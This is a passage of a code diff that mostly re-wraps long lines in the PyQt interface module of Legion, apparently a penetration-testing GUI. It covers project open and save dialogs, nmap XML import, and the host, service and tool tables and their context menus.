QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] + filename = QtWidgets.QFileDialog.getOpenFileName( + self.ui.centralwidget, 'Open project', self.controller.getCWD(), + filter='Legion session (*.legion);; Sparta session (*.sprt)')[0] if not filename == '': # check for permissions if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): log.info('Insufficient permissions to open this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.", "Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this file.", + "Ok") return if '.legion' in str(filename): @@ -296,8 +325,9 @@ def openExistingProject(self): projectType = 'sparta' self.controller.openExistingProject(filename, projectType) - self.viewState.firstSave = False # overwrite this variable because we are opening an existing file - self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated + self.viewState.firstSave = False # overwrite this variable because we are opening an existing file + # do not show the overlay because the hosttableview is already populated + self.displayAddHostsOverlay(False) else: log.info('No file chosen..') @@ -325,12 +355,16 @@ def saveProjectAs(self): self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', + self.controller.getCWD(), filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] while not filename =='': - if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access( + ntpath.dirname(str(filename)), os.W_OK): log.info('Insufficient permissions on this folder.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions on this folder.") else: if self.controller.saveProjectAs(filename): @@ -339,13 +373,18 @@ def saveProjectAs(self): if not str(filename).endswith('.legion'): filename = str(filename) + '.legion' msgBox = QtWidgets.QMessageBox() - reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) + reply = msgBox.question(self.ui.centralwidget, 'Confirm', + "A file named \""+ntpath.basename(str(filename))+"\" already exists. " + + "Do you want to replace it?", + QtWidgets.QMessageBox.Abort | QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.controller.saveProjectAs(filename, 1) # replace break - filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='Legion session (*.legion)', options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] + filename = QtWidgets.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', + filter='Legion session (*.legion)', + options=QtWidgets.QFileDialog.DontConfirmOverwrite)[0] if not filename == '': self.setDirty(False) @@ -357,7 +396,10 @@ def saveProjectAs(self): log.info('No file chosen..') def saveOrDiscard(self): - reply = QtWidgets.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, QtWidgets.QMessageBox.Save) + reply = QtWidgets.QMessageBox.question( + self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", + QtWidgets.QMessageBox.Save | QtWidgets.QMessageBox.Discard | QtWidgets.QMessageBox.Cancel, + QtWidgets.QMessageBox.Save) if reply == QtWidgets.QMessageBox.Save: self.saveProject() @@ -400,7 +442,13 @@ def callAddHosts(self): hostList = hostListStr.split(';') hostList = [hostEntry for hostEntry in hostList if len(hostEntry) > 0] - hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] + hostAddOptionControls = [self.adddialog.rdoScanOptTcpConnect, self.adddialog.rdoScanOptSynStealth, + self.adddialog.rdoScanOptFin, self.adddialog.rdoScanOptNull, + self.adddialog.rdoScanOptXmas, self.adddialog.rdoScanOptPingTcp, + self.adddialog.rdoScanOptPingUdp, self.adddialog.rdoScanOptPingDisable, + self.adddialog.rdoScanOptPingRegular, self.adddialog.rdoScanOptPingSyn, + self.adddialog.rdoScanOptPingAck, self.adddialog.rdoScanOptPingTimeStamp, + self.adddialog.rdoScanOptPingNetmask, self.adddialog.chkScanOptFragmentation] nmapOptions = [] if self.adddialog.rdoModeOptEasy.isChecked(): @@ -416,12 +464,17 @@ def callAddHosts(self): nmapOptions.append(nmapOptionValue) nmapOptions.append(str(self.adddialog.txtCustomOptList.text())) for hostListEntry in hostList: - self.controller.addHosts(targetHosts = hostListEntry, runHostDiscovery = self.adddialog.chkDiscovery.isChecked(), runStagedNmap = self.adddialog.chkNmapStaging.isChecked(), nmapSpeed = self.adddialog.sldScanTimingSlider.value(), scanMode = scanMode, nmapOptions = nmapOptions) - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.controller.addHosts(targetHosts=hostListEntry, + runHostDiscovery=self.adddialog.chkDiscovery.isChecked(), + runStagedNmap=self.adddialog.chkNmapStaging.isChecked(), + nmapSpeed=self.adddialog.sldScanTimingSlider.value(), + scanMode=scanMode, + nmapOptions=nmapOptions) + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button else: self.adddialog.spacer.changeSize(0,0) self.adddialog.validationLabel.show() - self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.cmdAddButton.clicked.disconnect() # disconnect all the signals from that button self.adddialog.cmdAddButton.clicked.connect(self.callAddHosts) ### @@ -431,12 +484,15 @@ def connectImportNmap(self): def importNmap(self): self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) - filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)')[0] + filename = QtWidgets.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', + self.controller.getCWD(), filter='XML file (*.xml)')[0] log.info('Importing nmap xml from {0}...'.format(str(filename))) if not filename == '': if not os.access(filename, os.R_OK): # check for read permissions on the xml file log.info('Insufficient permissions to read this file.') - reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.", "Ok") + reply = QtWidgets.QMessageBox.warning(self.ui.centralwidget, 'Warning', + "You don't have the necessary permissions to read this file.", + "Ok") return self.importProgressWidget.reset('Importing nmap..') @@ -463,7 +519,7 @@ def applySettings(self): self.settingsWidget.hide() def cancelSettings(self): - log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + log.info('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. self.settingsWidget.hide() self.controller.cancelSettings() @@ -477,7 +533,7 @@ def connectAppExit(self): self.ui.actionExit.triggered.connect(self.appExit) def appExit(self): - if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application self.closeProject() log.info('Exiting application..') sys.exit(0) @@ -492,15 +548,17 @@ def connectHostTableClick(self): # TODO: review - especially what tab is selected when coming from another host def hostTableClick(self): - if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView. + selectionModel().selectedRows())-1].row() print(row) ip = self.HostsTableModel.getHostIPForRow(row) self.viewState.ip_clicked = ip save = self.ui.ServicesTabWidget.currentIndex() self.removeToolTabs() self.restoreToolTabsForHost(self.viewState.ip_clicked) - self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) + # display services tab if we are coming from a dynamic tab (non-fixed) + self.ui.ServicesTabWidget.setCurrentIndex(save) self.updateRightPanel(self.viewState.ip_clicked) else: self.removeToolTabs() @@ -513,7 +571,8 @@ def connectServiceNamesTableClick(self): def serviceNamesTableClick(self): if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() print(row) self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.updatePortsByServiceTableView(self.viewState.service_clicked) @@ -525,11 +584,13 @@ def connectToolsTableClick(self): def toolsTableClick(self): if self.ui.ToolsTableView.selectionModel().selectedRows(): - row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len( + self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() print(row) self.viewState.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) self.updateToolHostsTableView(self.viewState.tool_clicked) - self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + # if we clicked on the screenshooter we need to display the screenshot widget + self.displayScreenshots(self.viewState.tool_clicked == 'screenshooter') # update the updateToolHostsTableView when the user closes all the host tabs # TODO: this doesn't seem right @@ -544,7 +605,8 @@ def connectScriptTableClick(self): def scriptTableClick(self): if self.ui.ScriptsTableView.selectionModel().selectedRows(): - row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len( + self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() print(row) self.viewState.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) self.updateScriptsOutputView(self.viewState.script_clicked) @@ -557,7 +619,8 @@ def connectToolHostsClick(self): # TODO: review / duplicate code def toolHostsClick(self): if self.ui.ToolHostsTableView.selectionModel().selectedRows(): - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() print(row) self.viewState.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) ip = self.ToolHostsTableModel.getIpForRow(row) @@ -567,17 +630,21 @@ def toolHostsClick(self): self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) else: - self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab - - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + # restore the tool output textview now showing in the tools display panel to its original host tool tab + self.restoreToolTabWidget() + + # remove the tool output currently in the tools display panel (if any) + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) tabs = [] # fetch tab list for this host (if any) if str(ip) in self.viewState.hostTabs: tabs = self.viewState.hostTabs[str(ip)] - for tab in tabs: # place the tool output textview in the tools display panel - if tab.findChild(QtWidgets.QPlainTextEdit) and str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == str(self.viewState.tool_host_clicked): + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtWidgets.QPlainTextEdit) and \ + str(tab.findChild(QtWidgets.QPlainTextEdit).property('dbId')) == \ + str(self.viewState.tool_host_clicked): self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtWidgets.QPlainTextEdit)) break @@ -590,7 +657,8 @@ def connectAdvancedFilterClick(self): self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) def advancedFilterClick(self, current): - self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.setCurrentFilters(self.viewState.filters.getFilters()) self.filterdialog.show() def updateFilter(self): @@ -620,7 +688,8 @@ def rightTableDoubleClick(self, signal): index = signal.sibling(row, 0) index_dict = model.itemData(index) index_value = index_dict.get(0) - log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}'.format(row, column, cell_value, index_value)) + log.info('Row {}, Column {} clicked - value: {}\nColumn 1 contents: {}' + .format(row, column, cell_value, index_value)) ## Does not work under WSL! df = pd.DataFrame([cell_value]) @@ -632,10 +701,12 @@ def tableDoubleClick(self): print(tab) if tab == 'Services': - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() ip = self.PortsByServiceTableModel.getIpForRow(row) elif tab == 'Tools': - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) else: return @@ -692,7 +763,8 @@ def switchTabClick(self): elif selectedTab == 'Tools': self.updateToolsTableView() - self.displayToolPanel(selectedTab == 'Tools') # display tool panel if we are in tools tab, hide it otherwise + # display tool panel if we are in tools tab, hide it otherwise + self.displayToolPanel(selectedTab == 'Tools') ### @@ -708,14 +780,17 @@ def switchMainTabClick(self): elif selectedTab == 'Brute': self.ui.BruteTabWidget.currentWidget().runButton.setFocus() self.restoreToolTabWidget() - - self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) # in case the Brute tab was red because hydra found stuff, change it back to black + + # in case the Brute tab was red because hydra found stuff, change it back to black + self.ui.MainTabWidget.tabBar().setTabTextColor(1, QtGui.QColor()) ### - def setVisible(self): # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + # indicates that a context menu is showing so that the ui doesn't get updated disrupting the user + def setVisible(self): self.viewState.menuVisible = True - def setInvisible(self): # indicates that a context menu has now closed and any pending ui updates can take place now + # indicates that a context menu has now closed and any pending ui updates can take place now + def setInvisible(self): self.viewState.menuVisible = False ### @@ -724,12 +799,15 @@ def connectHostsTableContextMenu(self): def contextMenuHostsTableView(self, pos): if len(self.ui.HostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() - self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) # because when we right click on a different host, we need to select it + row = self.ui.HostsTableView.selectionModel().selectedRows()[ + len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + # because when we right click on a different host, we need to select it + self.viewState.ip_clicked = self.HostsTableModel.getHostIPForRow(row) self.ui.HostsTableView.selectRow(row) # select host when right-clicked - self.hostTableClick() - - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(row))) + self.hostTableClick() + + menu, actions = self.controller.getContextMenuForHost( + str(self.HostsTableModel.getHostCheckStatusForRow(row))) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(row) @@ -737,7 +815,7 @@ def contextMenuHostsTableView(self, pos): if action: self.controller.handleHostAction(self.viewState.ip_clicked, hostid, actions, action) - + ### def connectServiceNamesTableContextMenu(self): @@ -745,7 +823,8 @@ def connectServiceNamesTableContextMenu(self): def contextMenuServiceNamesTableView(self, pos): if len(self.ui.ServiceNamesTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len( + self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() self.viewState.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) self.ui.ServiceNamesTableView.selectRow(row) # select service when right-clicked self.serviceNamesTableClick() @@ -755,9 +834,10 @@ def contextMenuServiceNamesTableView(self, pos): menu.aboutToHide.connect(self.setInvisible) action = menu.exec_(self.ui.ServiceNamesTableView.viewport().mapToGlobal(pos)) - if action: - self.serviceNamesTableClick() # because we will need to populate the right-side panel in order to select those rows - # we must only fetch the targets on which we haven't run the tool yet + if action: + # because we will need to populate the right-side panel in order to select those rows + self.serviceNamesTableClick() + # we must only fetch the targets on which we haven't run the tool yet tool = None for i in range(0,len(actions)): # fetch the tool name if action == actions[i][1]: @@ -768,20 +848,26 @@ def contextMenuServiceNamesTableView(self, pos): if action.text() == 'Take screenshot': tool = 'screenshooter' - targets = [] # get (IP,port,protocol) combinations for this service + targets = [] # get (IP,port,protocol) combinations for this service for row in range(self.PortsByServiceTableModel.rowCount("")): - targets.append([self.PortsByServiceTableModel.getIpForRow(row), self.PortsByServiceTableModel.getPortForRow(row), self.PortsByServiceTableModel.getProtocolForRow(row)]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row), + self.PortsByServiceTableModel.getPortForRow(row), + self.PortsByServiceTableModel.getProtocolForRow(row)]) - if shiftPressed: # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on which we haven't ran it yet + # if the user pressed SHIFT+Right-click, ignore the rule of only running the tool on targets on + # which we haven't ran it yet + if shiftPressed: tool=None if tool: - hosts=self.controller.getHostsForTool(tool, 'FetchAll') # fetch the hosts that we already ran the tool on + # fetch the hosts that we already ran the tool on + hosts=self.controller.getHostsForTool(tool, 'FetchAll') oldTargets = [] for i in range(0,len(hosts)): oldTargets.append([hosts[i][5], hosts[i][6], hosts[i][7]]) - - for host in oldTargets: # remove from the targets the hosts:ports we have already run the tool on + + # remove from the targets the hosts:ports we have already run the tool on + for host in oldTargets: if host in targets: targets.remove(host) @@ -795,7 +881,8 @@ def connectToolHostsTableContextMenu(self): def contextToolHostsTableContextMenu(self, pos): if len(self.ui.ToolHostsTableView.selectionModel().selectedRows()) > 0: - row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len( + self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() ip = self.ToolHostsTableModel.getIpForRow(row) port = self.ToolHostsTableModel.getPortForRow(row) @@ -806,10 +893,16 @@ def contextToolHostsTableContextMenu(self, pos): menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - # this can handle multiple host selection if we apply it in the future - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row # context menu when the left services tab is selected + # this can handle multiple host selection if we apply it in the future + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + # context menu when the left services tab is selected for row in self.ui.ToolHostsTableView.selectionModel().selectedRows(): - targets.append([self.ToolHostsTableModel.getIpForRow(row.row()),self.ToolHostsTableModel.getPortForRow(row.row()),self.ToolHostsTableModel.getProtocolForRow(row.row()),self.controller.getServiceNameForHostAndPort(self.ToolHostsTableModel.getIpForRow(row.row()), self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) + targets.append([self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()), + self.ToolHostsTableModel.getProtocolForRow(row.row()), + self.controller.getServiceNameForHostAndPort( + self.ToolHostsTableModel.getIpForRow(row.row()), + self.ToolHostsTableModel.getPortForRow(row.row()))[0]]) restore = True action = menu.exec_(self.ui.ToolHostsTableView.viewport().mapToGlobal(pos)) @@ -817,8 +910,9 @@ def contextToolHostsTableContextMenu(self, pos): if action: self.controller.handlePortAction(targets, actions, terminalActions, action, restore) - else: # in case there was no port, we show the host menu (without the portscan / mark as checked) - menu, actions = self.controller.getContextMenuForHost(str(self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) + else: # in case there was no port, we show the host menu (without the portscan / mark as checked) + menu, actions = self.controller.getContextMenuForHost(str( + self.HostsTableModel.getHostCheckStatusForRow(self.HostsTableModel.getRowForIp(ip))), False) menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) hostid = self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(ip)) @@ -833,15 +927,17 @@ def contextToolHostsTableContextMenu(self, pos): def connectServicesTableContextMenu(self): self.ui.ServicesTableView.customContextMenuRequested.connect(self.contextMenuServicesTableView) - def contextMenuServicesTableView(self, pos): # this function is longer because there are two cases we are in the services table + # this function is longer because there are two cases we are in the services table + def contextMenuServicesTableView(self, pos): if len(self.ui.ServicesTableView.selectionModel().selectedRows()) > 0: - - if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: # if there is only one row selected, get service name - row = self.ui.ServicesTableView.selectionModel().selectedRows()[len(self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() + # if there is only one row selected, get service name + if len(self.ui.ServicesTableView.selectionModel().selectedRows()) == 1: + row = self.ui.ServicesTableView.selectionModel().selectedRows()[len( + self.ui.ServicesTableView.selectionModel().selectedRows())-1].row() - if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view + if self.ui.ServicesTableView.isColumnHidden(0): # if we are in the services tab of the hosts view serviceName = self.ServicesTableModel.getServiceNameForRow(row) - else: # if we are in the services tab of the services view + else: # if we are in the services tab of the services view serviceName = self.PortsByServiceTableModel.getServiceNameForRow(row) else: @@ -851,15 +947,21 @@ def contextMenuServicesTableView(self, pos): # this funct menu.aboutToShow.connect(self.setVisible) menu.aboutToHide.connect(self.setInvisible) - targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row + targets = [] # get (IP,port,protocol,serviceName) combinations for each selected row if self.ui.ServicesTableView.isColumnHidden(0): for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.ServicesTableModel.getIpForRow(row.row()),self.ServicesTableModel.getPortForRow(row.row()),self.ServicesTableModel.getProtocolForRow(row.row()),self.ServicesTableModel.getServiceNameForRow(row.row())]) + targets.append([self.ServicesTableModel.getIpForRow(row.row()), + self.ServicesTableModel.getPortForRow(row.row()), + self.ServicesTableModel.getProtocolForRow(row.row()), + self.ServicesTableModel.getServiceNameForRow(row.row())]) restore = False - else: # context menu when the left services tab is selected + else: # context menu when the left services tab is selected for row in self.ui.ServicesTableView.selectionModel().selectedRows(): - targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()),self.PortsByServiceTableModel.getPortForRow(row.row()),self.PortsByServiceTableModel.getProtocolForRow(row.row()),self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) + targets.append([self.PortsByServiceTableModel.getIpForRow(row.row()), + self.PortsByServiceTableModel.getPortForRow(row.row()), + self.PortsByServiceTableModel.getProtocolForRow(row.row()), + self.PortsByServiceTableModel.getServiceNameForRow(row.row())]) restore = True action = menu.exec_(self.ui.ServicesTableView.viewport().mapToGlobal(pos)) @@ -882,7 +984,8 @@ def contextMenuProcessesTableView(self, pos): selectedProcesses = [] # list of tuples (pid, status, procId) for row in self.ui.ProcessesTableView.selectionModel().selectedRows(): pid = self.ProcessesTableModel.getProcessPidForRow(row.row()) - selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), self.ProcessesTableModel.getProcessIdForRow(row.row())]) + selectedProcesses.append([int(pid), self.ProcessesTableModel.getProcessStatusForRow(row.row()), + self.ProcessesTableModel.getProcessIdForRow(row.row())]) action = menu.exec_(self.ui.ProcessesTableView.viewport().mapToGlobal(pos)) @@ -919,23 +1022,26 @@ def contextMenuScreenshot(self, pos): #################### LEFT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateHostsTableView(self): - headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] + headers = ["Id", "OS", "Accuracy", "Host", "IPv4", "IPv6", "Mac", "Status", "Hostname", "Vendor", "Uptime", + "Lastboot", "Distance", "CheckedHost", "State", "Count", "Closed"] self.HostsTableModel = HostsTableModel(self.controller.getHostsFromDB(self.viewState.filters), headers) self.ui.HostsTableView.setModel(self.HostsTableModel) - self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_hosts = False # to indicate that it doesn't need to be updated anymore - for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: # hide some columns + # hide some columns + for i in [0, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]: self.ui.HostsTableView.setColumnHidden(i, True) self.ui.HostsTableView.horizontalHeader().resizeSection(1, 30) self.HostsTableModel.sort(3, Qt.DescendingOrder) - ips = [] # ensure that there is always something selected + ips = [] # ensure that there is always something selected for row in range(self.HostsTableModel.rowCount("")): ips.append(self.HostsTableModel.getHostIPForRow(row)) - if self.viewState.ip_clicked in ips: # the ip we previously clicked may not be visible anymore (eg: due to filters) + # the ip we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.ip_clicked in ips: row = self.HostsTableModel.getRowForIp(self.viewState.ip_clicked) else: row = 0 # or select the first row @@ -946,16 +1052,18 @@ def updateHostsTableView(self): def updateServiceNamesTableView(self): headers = ["Name"] - self.ServiceNamesTableModel = ServiceNamesTableModel(self.controller.getServiceNamesFromDB(self.viewState.filters), headers) + self.ServiceNamesTableModel = ServiceNamesTableModel( + self.controller.getServiceNamesFromDB(self.viewState.filters), headers) self.ui.ServiceNamesTableView.setModel(self.ServiceNamesTableModel) - self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_services = False # to indicate that it doesn't need to be updated anymore services = [] # ensure that there is always something selected for row in range(self.ServiceNamesTableModel.rowCount("")): services.append(self.ServiceNamesTableModel.getServiceNameForRow(row)) - - if self.viewState.service_clicked in services: # the service we previously clicked may not be visible anymore (eg: due to filters) + + # the service we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.service_clicked in services: row = self.ServiceNamesTableModel.getRowForServiceName(self.viewState.service_clicked) else: row = 0 # or select the first row @@ -965,28 +1073,39 @@ def updateServiceNamesTableView(self): self.serviceNamesTableClick() def setupToolsTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel = ProcessesTableModel(self, self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses='noNmap', + sort=self.toolsTableViewSort, + ncol=self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): - if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and \ + self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ToolsTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, + showProcesses = 'noNmap', + sort = self.toolsTableViewSort, + ncol = self.toolsTableViewSortColumn)) self.ui.ToolsTableView.repaint() self.ui.ToolsTableView.update() - self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see - for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 